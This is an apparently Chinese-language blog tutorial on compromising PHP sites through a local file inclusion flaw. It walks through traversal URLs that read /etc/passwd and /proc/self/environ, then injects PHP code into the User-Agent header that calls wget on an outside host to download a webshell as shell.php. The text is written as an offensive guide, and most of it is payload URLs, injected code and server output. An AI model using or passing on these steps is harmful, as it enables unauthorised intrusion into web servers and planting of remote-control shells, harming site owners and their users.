LFI通過proc/self/environ直接獲取webshell

第一步:尋找本地包含漏洞

首先找到一個可能存在本地包含的文件,去check它
比如:     www.website.com/view.php?page=contact.php
替換成   www.website.com/view.php?page=../ 
我們得到一個錯誤
Warning: include(../) [function.include]: failed to open stream: No such file or directory in /home/sirgod/public_html/website.com/view.php on line 1337
翻譯下以上的錯誤信息如下:
警告:包括(../) [function.include]:未能打開流:沒有那個文件或目錄在/ home / sirgod / public_html / website.com /view.php

說明機會很大,只是不存在文件而已

那麼我們就針對服務器存在的文件做檢查,比如linux裏的/etc/passwd
提交url:www.website.com/view.php?page=../../etc/passwd 
依舊是:
Warning: include(../) [function.include]: failed to open stream: No such file or directory in /home/sirgod/public_html/website.com/view.php on line 1337
所以我們一層層的加上../測試,直到顯示爲止
www.website.com/view.php?page=../../../../../etc/passwd 
這個時候我們成功的包含了/etc/passwd
root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin adm:x:3:4:adm:/var/adm:/sbin/nologin lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin sync:x:5:0:sync:/sbin:/bin/sync shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown halt:x:7:0:halt:/sbin:/sbin/halt mail:x:8:12:mail:/var/spool/mail:/sbin/nologin news:x:9:13:news:/etc/news: uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin operator:x:11:0:operator:/root:/sbin/nologin games:x:12:100:games:/usr/games:/sbin/nologin test:x:13:30:test:/var/test:/sbin/nologin ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin nobody:x:99:99:Nobody:/:/sbin/nologin

第二步:檢查proc/self/environ是否可用訪問


提交url:www.website.com/view.php?page=../../../../../proc/self/environ

如果看到類似如下信息:

DOCUMENT_ROOT=/home/sirgod/public_html GATEWAY_INTERFACE=CGI/1.1 HTTP_ACCEPT=text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1 HTTP_COOKIE=PHPSESSID=134cc7261b341231b9594844ac2ad7ac HTTP_HOST=www.website.com HTTP_REFERER=http://www.website.com/index.php?view=../../../../../../etc/passwd HTTP_USER_AGENT=Opera/9.80 (Windows NT 5.1; U; en) Presto/2.2.15 Version/10.00 PATH=/bin:/usr/bin QUERY_STRING=view=..%2F..%2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fenviron REDIRECT_STATUS=200 REMOTE_ADDR=6x.1xx.4x.1xx REMOTE_PORT=35665 REQUEST_METHOD=GET REQUEST_URI=/index.php?view=..%2F..%2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fenviron SCRIPT_FILENAME=/home/sirgod/public_html/index.php SCRIPT_NAME=/index.php SERVER_ADDR=1xx.1xx.1xx.6x [email protected] SERVER_NAME=www.website.com SERVER_PORT=80 SERVER_PROTOCOL=HTTP/1.0 SERVER_SIGNATURE=
Apache/1.3.37 (Unix) mod_ssl/2.2.11 OpenSSL/0.9.8i DAV/2 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 Server at www.website.com Port 80
說明是可以訪問的,如果返回時個空白頁,說明是無法訪問的,也可能操作系統是FreeBSD

第三步: 注入惡意代碼

我們怎麼才能把我們的惡意代碼注入到proc/self/environ吶?
我們可以注入我們的代碼在用戶代理HTTP頭。 
使用篡改數據用於Firefox的插件改變Firefox的User-Agent.Start篡改數據和請求URL: 
     
      www.website.com/view.php?page=../../../../../proc/self/environ 
      
     選擇User-Agent 寫代碼如下: 
     
    <?system('wget http://hack-bay.com/Shells/gny.txt -O shell.php');?>
         
    然後提交請求。 
     
     我們的命令將被執行(將下載http://hack-bay.com/Shells/gny.txt,並將其保存爲它在shell.php 
網站目錄),我們的shell也就被創建,.如果不行,嘗試使用exec(),因爲系統可能被禁用的從php.ini網絡服務器.

第四步:訪問我們的shell

只在存在包含文件的目錄下訪問你注入進去的shell即可

www.website.com/shell.php

現在我們的shell是成功的注入進去了

看到這裏想不想知道咋回事那?其原理是利用/proc/self/environ目錄遍歷及遠程執行代碼的漏洞,哈哈!!提示下google搜 索"Directory Traversal & Remote Code Execution Using /proc/self/environ"吧

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章